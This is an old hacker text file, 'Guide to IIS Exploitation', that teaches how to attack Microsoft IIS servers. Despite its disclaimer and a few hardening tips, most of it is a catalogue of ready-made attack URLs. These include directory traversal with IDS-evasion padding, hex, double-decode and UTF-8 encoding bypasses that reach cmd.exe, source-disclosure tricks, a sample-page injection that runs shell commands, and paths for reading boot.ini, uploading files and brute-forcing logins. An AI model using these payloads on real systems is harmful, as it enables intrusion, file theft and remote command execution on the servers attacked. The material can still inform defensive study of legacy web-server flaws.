guide to iis exploitation.txt

1000 HOWTOs for various needs [WINDOWS]

***************************************************************************
*                      Guide to IIS Exploitation                          *
*                            by fugjostle                                 *
*                                                                         *
*                             V.1.0.1                                     *
*                                                                         *
*          Questions? Comments? Email: fugjostle at ch0wn.com             *
***************************************************************************

    Disclaimer: I do not condone hacking IIS servers in any way, 
                shape or form. This guide is intended as a guide 
                for admins to help them understand what most 
                script kiddies don't understand but are happy to 
                exploit. 


--[On the first day, God created directory traversal]

Relative paths are the developers friend. They allow an entire website to 
be moved to another directory without the need for changing all the links 
in the html. For example, lets say we have a webpage called 'pictures.html' 
in the htdocs dir:

  Absolute path:  /home/webpages/htdocs/pictures.html
  Absolute path:  /home/webpages/images/pic1.gif

In the html you can refer to the 'pic1.gif' via an absolute path shown 
above or use a relative path:

  Relative path: ../images/pic1.gif

The relative path tells the server that it has to go to the parent 
directory (dot dot) -->  from /home/webpages/htdocs to /home/webpages. Then 
the server goes into the images dir and looks for the gif file to display.

Anyone who has used the 'cd' command in DOS and *nix should be familiar 
with the operation. So what's the problem I hear you ask... well, the 
programmers of web server didn't think to check the supplied URL to ensure 
that the requested file was actually in the web directory. This allows 
someone to backtrack through the servers directory structure and request 
files that the web server has access to. For example,

  http://www.target.com/../../../etc/passwd

NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):

  http://www.target.com//....//....//...././etc/./passwd

The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS's
work for their money.


--[On the second day, God created Hexadecimal]

Once programmers started to realise the mistake they began to create parser 
routines to check for naughty URL's and keep the requests within the 
document root. Then along comes a wiley hacker who wonders if by encoding 
the URL will it still be recognised by the parser routines.

You may have noticed that when you enter a URL that includes a space it is 
replaced with the hex equivalent (%20):

  http://www.target.com/stuff/my index.html

  becomes

  http://www.target.com/stuff/my%20index.html

and voila, it works. So what would happen if we changed the now denied URL:

  http://www.target.com/../../../etc/passwd

  to

  http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd
 
The parser routine checks for the existence of dots in the path and finds 
none... the webserver then proceeds with the request.

An interesting feature is that you can encode the hex symbol  and the web 
server will decode it all for you. This is called the "double decode". 
For example, given the URL "http://victim.com/..%252f..%252fdocs/", the 
following will take place:

(1) On the first decode, the string will be converted to:

  "http://victim.com/..%2f..%2fdocs/"

  [%25 = '%' so '%252f' is decoded to '%2f']

(2) On the second decode, the string will be converted to:

  "http://victim.com/../../docs/"

  [%2f = '/']


--[On the third day, God created Unicode]

The World Wide Web is a global phenomenon and as such needs to be globally 
interoperable. This raised the question of how to deal with all the different 
character sets around the world. As a response to this, Unicode was created:

   -----------------------------------------------------------------
   Unicode provides a unique number for every character, no matter 
   what the platform, no matter what the program, no matter what 
   the language. The Unicode Standard has been adopted by such 
   industry leaders as Apple, HP, IBM, JustSystem, Microsoft, 
   Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is 
   required by modern standards such as XML, Java, ECMAScript 
   (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official 
   way to implement ISO/IEC 10646. It is supported in many operating 
   systems, all modern browsers, and many other products.
   -----from http://www.unicode.org---------------------------------


The problem with Unicode is that it requires 16 bits for a single character 
and software tended to use 8 bits for a single character. Unicode TransForm 
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a 
variable number of bytes can be used for each character:

  Character  1-byte  2-byte  3-byte 
   .         2E      C0 AE   E0 80 AE 
   /         2F      C0 AF   E0 80 AF 
   \         5C      C1 9C   E0 81 9C 

This lead to a new vulnerability in certain webservers. The parser didn't 
understand this new encoding and allowed it through :-)

For example:

  www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd

Recent vulnerabilities have been taking advantage of the fact that the web 
server doesn't understand the Unicode UTF-8 character set but the underlying 
OS does:

  www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir

Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:

  %uxxxx          = Unicode
  %xx%xx          = UTF-8
  %xx             = Hexidecimal
  %xxxx           = Double Decode

--[On the fourth day, God created default installs]

IIS comes installed with various DLL's (Dynamic Link Libraries) that 
increase the functionality of the web server. These ISAPI (Internet Server 
API) applications allow programmers/developers to deliver more functionality 
to IIS.

The DLL's are loaded into memory at startup and offer significant speed 
over traditional CGI programs. For example, they can be combined with the 
Internet Database Connector (httpodbc.dll) to create interactive sites that 
use ODBC to access databases.

The problem is that some of these DLL's are insecure and are often installed 
with sample scripts that demonstrate how to exploit, erm, I mean use them.

ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active 
Server Pages) are basically HTML pages with embedded code that is processed 
by the webserver before serving it to the client. 

Here's some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]

  /default.asp.

   ** Appending a '.' to the URL can reveal the source 
   ** on older systems. Remember hex encoding? You can 
   ** also try using %2e to do the same thing.

  /msadc/samples/adctest.asp

   ** This gives you an interface into the msadcs.dll 
   ** and allows creation of DSN's. Read RFP's stuff
   ** for idea's on how to exploit this.

  /iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini
  /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini

   ** You can view the source of anything in the 
   ** document root. '/msadc/' needs to be in the 
   ** request as it is checked for, wait for this,
   ** security :-)

  /index.asp::$DATA

   ** Appending '::$DATA' to the URL can reveal
   ** the source of the ASP.

  /index.asp%81
  
   ** Append a hex value between 0x81 and 0xfe
   ** and you can reveal the source of any server
   ** processed file. This only works on servers
   ** that are Chinese, Japanese or Korean.

  /AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|

   ** This one allows you to execute remote
   ** shell commands ;-)

ISM.DLL is used to process requests that end in ".htr". These pages were used 
to administer IIS3 servers. In IIS4 they are not used but various .htr samples 
are installed by default anyway and offer another avenue for entry.

  /index.asp%20%20%20..(220 more)..%20%20.htr

   ** IIS will redirect this request to ISM.DLL,
   ** which will strip the '.htr' extension and
   ** deliver the source code of the file.
  
  /global.asa+.htr

   ** Does the same thing as the %20%20 exploit
   ** above. ISM.DLL strips the +.htr and delivers
   ** you the source of the file

  /scripts/iisadmin/ism.dll?http/dir

   ** Excellent brute force opportunity if the
   ** dll exists. Successful logons will reveal
   ** lots of useful stuff.

  /iisadmpwd/aexp.htr

   ** The iisadmpwd diectory contains several .htr 
   ** files that allow NetBIOS resolution and 
   ** password attacks.

  /scripts/iisadmin/bdir.htr??c:\inetpub\www

   ** This method will only reveal directories
   ** but can be useful for identifying the 
   ** servers structure for more advanced 
   ** attacks later.

MSADCS.DLL is used to allow access to ODBC components via IIS using RDS 
(Remote Data Service). RDS is part of the default install of Microsoft Data 
Access Components (MDAC) and is a commonly exploited on IIS. It can allow
arbitrary shell commands to be executed with system privileges.

  /msadc/msadcs.dll

   ** If this file exists then there's a pretty 
   ** good chance that you can run the RDS 
   ** exploit again the box. More on this later.

HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web
server wants to connect to a database. It allows the creation of web pages
from data in the database, and it allows you to update/delete items from 
within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL
for processing. 

  /index.idc::$DATA

   ** Appending '::$DATA' to the URL can reveal
   ** the source of the IDC.

  /anything.idc
  
   ** Requesting a non-existance file will
   ** reveal the location of the web root.

  /scripts/iisadmin/tools/ctss.idc

   ** Creates a table based on the parameters it 
   ** receives. Excellent place to look at for 
   ** SQL injection.

SSINC.DLL is used for processing Server Side Includes (SSI). '.stm', 
'.shtm' and '.shtml' extension are sent to the DLL which interprets
the SSI statements within the HTML before sending it to the client.

An example of SSI would be:

  <!--#include file="news.txt"-->

This SSI tells the server to include the 'news.txt' in the final HTML 
sent to the use. SSI statements are beyond the scope of this document 
but offer another security hole open to our wiley hax0r. Ensure you 
remove the app mapping and disable SSI if you do not require its 
functionality.

SSINC.DLL is also vulnerable to a remote buffer overflow, read the 
following advisory for details:

  http://www.nsfocus.com/english/homepage/sa01-06.htm

Some examples of SSINC.DLL fun:

  /anything.stm

   ** If you request a file that doesn't exist
   ** then the server error message contains the
   ** the location of the web root.

  /somedir/anything.stm/somedir/index.asp

   ** Using this method allows you to view the
   ** the source code for index.asp. 
  
IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'
requests. This DLL has had some big exposure with the recent Nimda worm. 
I'm not going into too much detail but '.ida' was used in a buffer 
overflow that resulted in user defined code being executed on the server.

  /anything.ida or /anything.idq
  
   ** Requesting a non-existance file will
   ** reveal the location of the web root.

  /query.idq?CiTemplate=../../../boot.ini

   ** You can use this to read any file on
   ** the same drive as the web root

CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your 
IIS server, via a web browser or the Web Publishing Wizard. The existance of 
this DLL can allow attackers upload files to the server. Other files such as
uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site
Server and allow upload of documents to the server:

  /scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp

   ** If this file is there then you may be able
   ** to upload files to the server.

  /scripts/uploadn.asp
  
   ** Connecting to this page gives you a nice
   ** gui for uploading your own webpages. You
   ** probably need to brute the userid.

There are lots more example scripts in the default install and quite a few 
of them are very, very insecure. Microsoft recommends that you remove ALL 
samples from any production server including the ExAir, WSH, ADO and other 
installed samples.

  IIS Default Web Site
  --------------------
  IISSAMPLES  - c:\inetpub\iissamples
  IISADMIN    - c:\winnt\system32\inetsrv\issadmin
  IISHELP     - c:\winnt\help
  SCRIPTS     - c:\inetpub\scripts
  IISADMPWD   - c:\winnt\systems32\inetsrv\iisadmpwd
  msadc       - c:\program files\common files\system\msadc
  logfiles    - c:\winnt\system32\logfiles
  default.htm - c:\inetpub\wwwroot

  IIS Default App Mapping
  -----------------------
  .asa   - c:\winnt\system32\inetsrv\asp.dll
  .asp   - c:\winnt\system32\inetsrv\asp.dll
  .cdx   - c:\winnt\system32\inetsrv\asp.dll
  .cer   - c:\winnt\system32\inetsrv\asp.dll
  .htr   - c:\winnt\system32\inetsrv\ism.dll
  .idc   - c:\winnt\system32\inetsrv\httpodbc.dll
  .shtm  - c:\winnt\system32\inetsrv\ssinc.dll
  .shtml - c:\winnt\system32\inetsrv\ssinc.dll